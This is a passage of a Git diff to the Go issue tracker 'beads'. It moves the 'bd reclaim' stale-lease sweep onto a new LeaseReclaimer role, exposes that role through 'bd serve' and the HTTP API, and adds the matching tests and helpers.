:= hooks.NewRunner(dir) + return runner, func(context.Context) ([]string, error) { + if !runner.Wait(30 * time.Second) { + return nil, errors.New("on_update hooks still running after 30s") + } + data, err := os.ReadFile(log) // #nosec G304 -- this helper's own temp file + if errors.Is(err, os.ErrNotExist) { + return []string{}, nil + } + if err != nil { + return nil, err + } + var ids []string + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if line = strings.TrimSpace(line); line != "" { + ids = append(ids, line) + } + } + return ids, nil + } +} + +func requireLeaseReclaimerExec(t *testing.T, fixture LeaseReclaimerFixture) { + t.Helper() + if fixture.Exec == nil || fixture.Claimer == nil || fixture.QueryScalar == nil { + t.Skip("LeaseReclaimerFixture.Exec/Claimer/QueryScalar is nil: this backend cannot manufacture a stale lease") + } +} + +// leaseReclaimerSeedClaimed creates each id and claims it as holder through the +// leg's Claimer, answering each claim's row version. +func leaseReclaimerSeedClaimed(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, holder string, ids ...string) map[string]int64 { + t.Helper() + versions := map[string]int64{} + for _, id := range ids { + if err := fixture.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + claimed, err := fixture.Claimer.Claim(ctx, publicops.ClaimRequest{Actor: holder, IssueID: id}) + if err != nil { + t.Fatalf("claim %s as %s: %v", id, holder, err) + } + if claimed.Issue == nil { + t.Fatalf("claim %s answered no issue", id) + } + versions[id] = claimed.Issue.RowVersion + } + return versions +} + +// leaseReclaimerSeedStale claims each id and ages its lease an hour past +// expiry, far beyond any grace window a case below uses by default. +func leaseReclaimerSeedStale(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, holder string, ids ...string) map[string]int64 { + t.Helper() + versions := leaseReclaimerSeedClaimed(t, ctx, fixture, holder, ids...) + leaseReclaimerAge(t, ctx, fixture, time.Hour, ids...) + return versions +} + +// leaseReclaimerAge moves each id's lease expiry to age in the past. +func leaseReclaimerAge(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, age time.Duration, ids ...string) { + t.Helper() + expired := time.Now().UTC().Add(-age) + statements := make([]SQLStatement, 0, len(ids)) + for _, id := range ids { + statements = append(statements, SQLStatement{ + Query: "UPDATE leases SET lease_expires_at = ? WHERE issue_id = ?", + Args: []any{expired, id}, + }) + } + if err := fixture.Exec(ctx, statements); err != nil { + t.Fatalf("age leases %v: %v", ids, err) + } + for _, id := range ids { + if n := leaseReclaimerScalar[int](t, ctx, fixture, "SELECT COUNT(*) FROM leases WHERE issue_id = ?", id); n != 1 { + t.Fatalf("lease rows for %s = %d, want 1: the claim wrote no lease to reclaim", id, n) + } + } +} + +func leaseReclaimerLabel(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, id, label string) { + t.Helper() + if err := fixture.Exec(ctx, []SQLStatement{{ + Query: "INSERT INTO labels (issue_id, label) VALUES (?, ?)", + Args: []any{id, label}, + }}); err != nil { + t.Fatalf("label %s %s: %v", id, label, err) + } +} + +func leaseReclaimerRequireHeld(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, id string) { + t.Helper() + if status := leaseReclaimerScalar[string](t, ctx, fixture, "SELECT status FROM issues WHERE id = ?", id); status != string(types.StatusInProgress) { + t.Fatalf("%s status = %q, want it still %q", id, status, types.StatusInProgress) + } +} + +func leaseReclaim(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, request publicops.ReclaimRequest) publicops.ReclaimResult { + t.Helper() + result, err := fixture.LeaseReclaimer.Reclaim(ctx, request) + if err != nil { + t.Fatalf("Reclaim(%+v): %v", request.Filter, err) + } + if result.Reclaimed == nil { + t.Fatal("Reclaimed is nil; the role promises a non-nil slice for a successful call") + } + return result +} + +func leaseReclaimerIDs(result publicops.ReclaimResult) []string { + ids := make([]string, 0, len(result.Reclaimed)) + for _, r := range result.Reclaimed { + ids = append(ids, r.ID) + } + sort.Strings(ids) + return ids +} + +func leaseReclaimerScalar[T any](t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, query string, args ...any) T { + t.Helper() + var value T + if err := fixture.QueryScalar(ctx, query, args, &value); err != nil { + t.Fatalf("%s %v: %v", query, args, err) + } + return value +} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index b5e03704f..309ae4fc3 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1048,6 +1048,7 @@ go_test( "ready_role_request_test.go", "ready_test.go", "ready_wisp_proxied_integration_test.go", + "reclaim_embedded_test.go", "reclaim_test.go", "recompute_blocked_proxied_integration_test.go", "registered_backend_workspace_paths_test.go", diff --git a/cmd/bd/reclaim.go b/cmd/bd/reclaim.go index 2a5262d99..7bde1f5b8 100644 --- a/cmd/bd/reclaim.go +++ b/cmd/bd/reclaim.go @@ -1,6 +1,7 @@ package main import ( + "errors" "fmt" "strings" @@ -8,9 +9,11 @@ import ( "github.com/spf13/pflag" "github.com/steveyegge/beads/internal/metrics" - "github.com/steveyegge/beads/internal/storage/issueops" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) var reclaimCmd = &cobra.Command{ @@ -99,31 +102,68 @@ Examples: CheckReadonly("reclaim") - if usesProxiedServer() { - return runReclaimProxiedServer(rootCtx, olderThan, filter) - } - - ctx := rootCtx - reclaimed, err := store.ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) + reclaimer, err := openLeaseReclaimer() if err != nil { return HandleErrorRespectJSON("reclaim: %v", err) } - - ids := make([]string, 0, len(reclaimed)) - for _, r := range reclaimed { - ids = append(ids, r.ID) + // The role mints the sweep's version commit itself, so batch and off + // modes have to be said on the CONTEXT, the way `bd prune` says them. + // The proxied route applied the policy to rootCtx in the root pre-run + // already, and issueOpsContext leaves a context that defers alone. + ctx := rootCtx + if !usesProxiedServer() { + if ctx, err = issueOpsContext(rootCtx); err != nil { + return HandleErrorRespectJSON("%v", err) + } } - if err := commitPendingIfEmbedded(ctx, store, currentActor(), doltAutoCommitParams{ - Command: "reclaim", - IssueIDs: ids, - }); err != nil { - return HandleErrorRespectJSON("failed to commit: %v", err) + result, err := reclaimer.Reclaim(ctx, issueops.ReclaimRequest{ + Actor: currentActor(), + OlderThan: olderThan, + Filter: filter, + }) + if err != nil { + return HandleErrorRespectJSON("reclaim: %v", err) + } + if len(result.Reclaimed) > 0 { + commandDidWrite.Store(true) } - return renderReclaim(reclaimed, !filter.IsEmpty()) + return renderReclaim(result.Reclaimed, !filter.IsEmpty()) }, } +// openLeaseReclaimer hands back the stale-lease sweep for whichever route this +// invocation is on: the store's own accessor (through every decorator the store +// was wired with, so the workspace's on_update hook fires once per reverted +// row, and over a registered HTTP backend the wire's reclaimIssues), or the +// proxied-server provider's. +func openLeaseReclaimer() (issueops.LeaseReclaimer, error) { + if usesProxiedServer() { + return proxiedLeaseReclaimer() + } + if store == nil { + if err := ensureStoreActive(); err != nil { + return nil, err + } + } + return store.LeaseReclaimer() +} + +// proxiedLeaseReclaimer takes the sweep through the proxied-server provider's +// OWN capability accessor, proxiedSweeper's two-step and for its reason: the +// accessor is where each layer (the notifying provider's hooks included) is +// added. +func proxiedLeaseReclaimer() (issueops.LeaseReclaimer, error) { + if uowProvider == nil { + return nil, errors.New("proxied-server UOW provider not initialized") + } + src, ok := uowProvider.(uow.LeaseReclaimerSource) + if !ok { + return nil, fmt.Errorf("proxied-server provider %T does not offer the lease-sweep surface", uowProvider) + } + return src.LeaseReclaimer() +} + func renderReclaim(reclaimed []types.ReclaimedLease, scoped bool) error { if jsonOutput { return outputJSON(map[string]interface{}{ @@ -224,7 +264,7 @@ func reclaimFilterFromFlags(cmd *cobra.Command) (types.ReclaimFilter, error) { } func init() { - reclaimCmd.Flags().Duration("older-than", 2*issueops.DefaultLeaseTTL, + reclaimCmd.Flags().Duration("older-than", 2*storeops.DefaultLeaseTTL, "Only reclaim leases that expired at least this long ago (grace window)") registerReclaimScopeFlags(reclaimCmd.Flags()) rootCmd.AddCommand(reclaimCmd) diff --git a/cmd/bd/reclaim_embedded_test.go b/cmd/bd/reclaim_embedded_test.go new file mode 100644 index 000000000..9a89f0961 --- /dev/null +++ b/cmd/bd/reclaim_embedded_test.go @@ -0,0 +1,133 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedReclaimRunsTheLeaseReclaimerRole drives `bd reclaim` on the +// direct route, where it now runs issueops.LeaseReclaimer off the decorated +// store: the stale lease it names is reverted with a fresh revision, a live +// lease and an absent id it names are left out without an error, the sweep +// records its own version commit, and the workspace's on_update hook fires once +// for the reverted row. +func TestEmbeddedReclaimRunsTheLeaseReclaimerRole(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "rc") + + hookLog := filepath.Join(t.TempDir(), "on_update.log") + hooksDir := filepath.Join(beadsDir, "hooks") + if err := os.MkdirAll(hooksDir, 0o755); err != nil { + t.Fatalf("mkdir hooks: %v", err) + } + script := "#!/bin/sh\necho \"$1\" >> " + hookLog + "\n" + if err := os.WriteFile(filepath.Join(hooksDir, "on_update"), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant on_update: %v", err) + } + + stale := bdCreate(t, bd, dir, "Stale lease", "--type", "task") + live := bdCreate(t, bd, dir, "Live lease", "--type", "task") + bdUpdate(t, bd, dir, stale.ID, "--claim") + bdUpdate(t, bd, dir, live.ID, "--claim") + + cfg, _ := configfile.Load(beadsDir) + database := "" + if cfg != nil { + database = cfg.GetDoltDatabase() + } + dataDir := filepath.Join(beadsDir, "embeddeddolt") + withDB := func(fn func(exec func(string, ...any))) { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + fn(func(query string, args ...any) { + t.Helper() + if _, err := db.ExecContext(t.Context(), query, args...); err != nil { + t.Fatalf("%s: %v", query, err) + } + }) + } + countCommits := func() int { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + var n int + if err := db.QueryRowContext(t.Context(), "SELECT COUNT(*) FROM dolt_log WHERE message LIKE 'bd: reclaim%'").Scan(&n); err != nil { + t.Fatalf("count reclaim commits: %v", err) + } + return n + } + withDB(func(exec func(string, ...any)) { + exec("UPDATE leases SET lease_expires_at = ? WHERE issue_id = ?", time.Now().UTC().Add(-time.Hour), stale.ID) + }) + before := countCommits() + + out, err := bdRunWithFlockRetry(t, bd, dir, "reclaim", "--older-than", "0s", "--json", + "--id", stale.ID, "--id", live.ID, "--id", "rc-absent") + if err != nil { + t.Fatalf("bd reclaim: %v\n%s", err, out) + } + var got struct { + Count int `json:"count"` + Scoped bool `json:"scoped"` + Reclaimed []types.ReclaimedLease `json:"reclaimed"` + } + if err := json.Unmarshal(out, &got); err != nil { + t.Fatalf("unmarshal: %v\n%s", err, out) + } + if got.Count != 1 || len(got.Reclaimed) != 1 || got.Reclaimed[0].ID != stale.ID || !got.Scoped { + t.Fatalf("reclaim answered %+v, want exactly %s, scoped", got, stale.ID) + } + if _, err := types.ParseRevisionToken(got.Reclaimed[0].Revision); err != nil || got.Reclaimed[0].Revision == "" { + t.Fatalf("reclaimed revision %q is not a revision token: %v", got.Reclaimed[0].Revision, err) + } + + if after := countCommits(); after != before+1 { + t.Fatalf("reclaim version commits %d -> %d, want exactly one more", before, after) + } + if iss := bdShow(t, bd, dir, stale.ID); iss.Status != types.StatusOpen || iss.Assignee != "" { + t.Fatalf("%s after reclaim: status=%s assignee=%q, want open and unassigned", stale.ID, iss.Status, iss.Assignee) + } + if iss := bdShow(t, bd, dir, live.ID); iss.Status != types.StatusInProgress { + t.Fatalf("%s after reclaim: status=%s, want it still in_progress", live.ID, iss.Status) + } + + deadline := time.Now().Add(15 * time.Second) + for { + data, _ := os.ReadFile(hookLog) // #nosec G304 -- this test's own temp file + fired := map[string]int{} + for _, line := range strings.Fields(string(data)) { + fired[line]++ + } + // The claims fired on_update for both ids already; the reclaim adds + // one more for the reverted id and none for the live one. + if fired[stale.ID] == 2 && fired[live.ID] == 1 { + break + } + if time.Now().After(deadline) { + t.Fatalf("on_update fired %v, want %s twice (claim, reclaim) and %s once (claim)", fired, stale.ID, live.ID) + } + time.Sleep(50 * time.Millisecond) + } +} diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index fd5b1ad76..4a1592ccf 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -318,6 +318,7 @@ func runServe() error { EdgeReader: roles.edges, GraphCounter: roles.edgeCounter, BatchGetter: roles.batchGetter, + LeaseReclaimer: roles.leaseReclaimer, Relations: roles.relations, Commenter: roles.commenter, BlockingAnnotator: roles.blocking, @@ -674,6 +675,7 @@ type serveRoleSource interface { EdgeReader() (issueops.EdgeReader, error) GraphCounter() (issueops.GraphCounter, error) BatchGetter() (issueops.BatchGetter, error) + LeaseReclaimer() (issueops.LeaseReclaimer, error) IssueRelations() (issueops.Relations, error) Commenter() (issueops.Commenter, error) BlockingAnnotator() (issueops.BlockingAnnotator, error) @@ -741,6 +743,7 @@ func serveIssueRoles(src serveRoleSource, journalEnabled bool) (serveRoles, erro {"edge reader", func() (err error) { roles.edges, err = src.EdgeReader(); return }}, {"graph counter", func() (err error) { roles.edgeCounter, err = src.GraphCounter(); return }}, {"batch getter", func() (err error) { roles.batchGetter, err = src.BatchGetter(); return }}, + {"lease reclaimer", func() (err error) { roles.leaseReclaimer, err = src.LeaseReclaimer(); return }}, {"issue relations", func() (err error) { roles.relations, err = src.IssueRelations(); return }}, {"commenter", func() (err error) { roles.commenter, err = src.Commenter(); return }}, {"blocking annotator", func() (err error) { roles.blocking, err = src.BlockingAnnotator(); return }}, @@ -853,17 +856,22 @@ type serveRoles struct { // getter WITHOUT wrapping it — a read fires no completion hooks — so it is // taken off the peeled store with the rest for uniformity rather than out // of necessity. - batchGetter issueops.BatchGetter - relations issueops.Relations - commenter issueops.Commenter - blocking issueops.BlockingAnnotator - tree issueops.TreeWalker - readyCounter issueops.ReadyCounter - counter issueops.Counter - querier issueops.Querier - sweeper issueops.Sweeper - deleter issueops.Deleter - batchCreator issueops.BatchCreator + batchGetter issueops.BatchGetter + // leaseReclaimer is the stale-lease sweep behind + // POST /v0/beads/issues:reclaim. Its hook decorator WRAPS (a reclaim is an + // update per reverted row), which is why it comes off the peeled store with + // the releaser: bd serve runs no hooks. + leaseReclaimer issueops.LeaseReclaimer + relations issueops.Relations + commenter issueops.Commenter + blocking issueops.BlockingAnnotator + tree issueops.TreeWalker + readyCounter issueops.ReadyCounter + counter issueops.Counter + querier issueops.Querier + sweeper issueops.Sweeper + deleter issueops.Deleter + batchCreator issueops.BatchCreator // dependencyEditor is the second role here whose accessor recurses through // the hook decorator, so taking it off the peeled store is not optional: // HookFiringStore.DependencyEditor fires the workspace's update hook per diff --git a/cmd/bd/serve_source_test.go b/cmd/bd/serve_source_test.go index a0abf2235..1cb7ac105 100644 --- a/cmd/bd/serve_source_test.go +++ b/cmd/bd/serve_source_test.go @@ -100,6 +100,7 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { batchCloser: &serveStubBatchCloser{}, readyClaimer: &serveStubReadyClaimer{}, releaser: &serveStubReleaser{}, + reclaimer: &serveStubLeaseReclaimer{}, lifecycle: &serveStubLifecycle{}, dependencies: &serveStubDependencyEditor{}, batchApplier: &serveStubBatchApplier{}, @@ -187,6 +188,15 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { t.Fatal("the store's own accessor no longer returns a hook-firing releaser; this test proves nothing") } + // And for the lease reclaimer, which fires once per reverted row. + reclaimerFromTheStore, err := chained.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer: %v", err) + } + if !storage.RoleFiresHooks(reclaimerFromTheStore) { + t.Fatal("the store's own accessor no longer returns a hook-firing lease reclaimer; this test proves nothing") + } + // And for the commenter, the SEVENTH — and the one that was OUTSIDE the // RoleFiresHooks switch entirely until the add-comment operation went on the // wire. hook_commenter.go has fired the update hook for every comment it @@ -254,6 +264,9 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if storage.RoleFiresHooks(roles.releaser) { t.Error("bd serve would run this workspace's hooks on every HTTP release") } + if storage.RoleFiresHooks(roles.leaseReclaimer) || roles.leaseReclaimer != issueops.LeaseReclaimer(middle.reclaimer) { + t.Errorf("lease reclaimer came from %p, want the layer directly beneath the hooks (%p)", roles.leaseReclaimer, middle.reclaimer) + } reader, claimer := roles.reader, roles.claimer // The same predicate httpapi.Listen refuses on, so a regression here is a // server that refuses to boot rather than one that runs hooks silently. @@ -406,6 +419,7 @@ type serveRolesStore struct { batchCloser *serveStubBatchCloser readyClaimer *serveStubReadyClaimer releaser *serveStubReleaser + reclaimer *serveStubLeaseReclaimer lifecycle *serveStubLifecycle dependencies *serveStubDependencyEditor batchApplier *serveStubBatchApplier @@ -459,6 +473,13 @@ func (s *serveRolesStore) ReadyClaimer() (issueops.ReadyClaimer, error) { return // reaper draining abandoned work does in a tight loop. func (s *serveRolesStore) Releaser() (issueops.Releaser, error) { return s.releaser, nil } +// LeaseReclaimer carries an identifiable value for the releaser's reason, and +// for a sharper form of it: its decorator fires on_update once per reverted +// row, so an unpeeled reclaimer runs the workspace's hooks N times per sweep. +func (s *serveRolesStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return s.reclaimer, nil +} + // IssueLifecycle carries an identifiable value for the same reason the reader // and the claimer do: it is one of the roles the hook decorator wraps, so a peel // of the wrong depth would hand bd serve a lifecycle that runs the workspace's @@ -655,6 +676,12 @@ func (*serveStubReleaser) Release(context.Context, issueops.ReleaseRequest) (iss return issueops.ReleaseResult{}, errors.ErrUnsupported } +type serveStubLeaseReclaimer struct{} + +func (*serveStubLeaseReclaimer) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return issueops.ReclaimResult{}, errors.ErrUnsupported +} + type serveStubLifecycle struct{} func (*serveStubLifecycle) Create(context.Context, issueops.CreateRequest) (issueops.CreateResult, error) { diff --git a/cmd/bd/serve_store_identity_test.go b/cmd/bd/serve_store_identity_test.go index 322adc4c3..4d3efc3f9 100644 --- a/cmd/bd/serve_store_identity_test.go +++ b/cmd/bd/serve_store_identity_test.go @@ -210,6 +210,13 @@ func (*serveIdentityStore) ReadyClaimer() (issueops.ReadyClaimer, error) { return serveIdentityRole{}, nil } func (*serveIdentityStore) Releaser() (issueops.Releaser, error) { return serveIdentityRole{}, nil } + +// LeaseReclaimer is declared at depth 1 for Releaser's reason: its hook +// decorator wraps, and the recursion would otherwise land on a nil-embedded +// promotion. +func (*serveIdentityStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return serveIdentityRole{}, nil +} func (*serveIdentityStore) IssueLifecycle() (issueops.Lifecycle, error) { return serveIdentityRole{}, nil } @@ -297,6 +304,7 @@ func (*serveIdentityStore) MetadataCAS() (issueops.MetadataCAS, error) { type serveIdentityRole struct { issueops.Lifecycle issueops.Releaser + issueops.LeaseReclaimer issueops.ReadyClaimer issueops.BatchCloser issueops.MetadataCAS diff --git a/cmd/bd/unclaim_proxied_integration_test.go b/cmd/bd/unclaim_proxied_integration_test.go index f7fcdfa06..7a64d548e 100644 --- a/cmd/bd/unclaim_proxied_integration_test.go +++ b/cmd/bd/unclaim_proxied_integration_test.go @@ -174,6 +174,7 @@ func TestProxiedServerReclaim(t *testing.T) { Reclaimed []struct { ID string `json:"id"` PreviousOwner string `json:"previous_owner"` + Revision string `json:"revision"` } `json:"reclaimed"` } if err := json.Unmarshal(out, &got); err != nil { @@ -186,6 +187,11 @@ func TestProxiedServerReclaim(t *testing.T) { if r.PreviousOwner == "" { t.Errorf("expected a previous owner for reclaimed %s", issue.ID) } + // The role mints a new revision per reverted row and reports + // it, on this route exactly as on the direct one. + if _, perr := types.ParseRevisionToken(r.Revision); perr != nil || r.Revision == "" { + t.Errorf("reclaimed %s carries revision %q, want a revision token: %v", issue.ID, r.Revision, perr) + } } } if !found { diff --git a/cmd/bd/unclaim_proxied_server.go b/cmd/bd/unclaim_proxied_server.go index 9269beb88..237d4e099 100644 --- a/cmd/bd/unclaim_proxied_server.go +++ b/cmd/bd/unclaim_proxied_server.go @@ -6,7 +6,6 @@ import ( "fmt" "os" "strings" - "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/uow" @@ -122,33 +121,3 @@ func runUnclaimProxiedServer(ctx context.Context, args []string, reason string, } return nil } - -func runReclaimProxiedServer(ctx context.Context, olderThan time.Duration, filter types.ReclaimFilter) error { - if uowProvider == nil { - return HandleError("proxied-server UOW provider not initialized") - } - - reclaimed, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) ([]types.ReclaimedLease, string, error) { - out, rerr := uw.IssueUseCase().ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) - if rerr != nil { - return nil, "", rerr - } - if len(out) == 0 { - return out, "", nil - } - ids := make([]string, 0, len(out)) - for _, r := range out { - ids = append(ids, r.ID) - } - return out, "bd: reclaim " + strings.Join(ids, ", "), nil - }) - if err != nil { - return HandleErrorRespectJSON("reclaim: %v", err) - } - - if len(reclaimed) > 0 { - commandDidWrite.Store(true) - } - - return renderReclaim(reclaimed, !filter.IsEmpty()) -} diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index fb7b25625..27efb854f 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -29,6 +29,7 @@ go_library( "problem.go", "query.go", "reads.go", + "reclaim.go", "related.go", "release.go", "reopen.go", @@ -93,6 +94,7 @@ go_test( "project_stamp_test.go", "reads_test.go", "ready_count_test.go", + "reclaim_test.go", "related_test.go", "release_test.go", "reopen_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 37e13b5f9..4fea37994 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1047,7 +1047,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1733,6 +1733,44 @@ type ReadyPage struct { Items []IssueWithCounts `json:"items"` } +// ReclaimIssuesRequest One sweep of stale leases. Every member but `actor` is optional, and every scope member NARROWS the sweep; see the operation. +// +// `additionalProperties: false`, so an unknown member is a `400` naming the member — a narrowing term this server silently ignored would widen what is reverted. +type ReclaimIssuesRequest struct { + // Actor Who ran the sweep. REQUIRED: each reverted row's recovery event and history entry are attributed to it. Validated by the same rules as the claim's `actor`. + Actor string `json:"actor"` + + // AnyReplica Also revert leases another replica granted. The one member that WIDENS the sweep; see the operation. Absent means `false`. + AnyReplica *bool `json:"any_replica,omitempty"` + + // Assignees Only leases held by one of these owners are eligible. + Assignees *[]string `json:"assignees,omitempty"` + + // ExcludeLabels An issue carrying ANY of these labels is never eligible. + ExcludeLabels *[]string `json:"exclude_labels,omitempty"` + + // Ids Only these issues are eligible. An id that is not currently a stale lease is absent from the answer rather than refused. The cap is on the REQUEST, counted before deduplication. A blank entry is refused. + Ids *[]string `json:"ids,omitempty"` + + // Labels Only issues carrying ALL of these labels are eligible. + Labels *[]string `json:"labels,omitempty"` + + // LabelsAny Only issues carrying AT LEAST ONE of 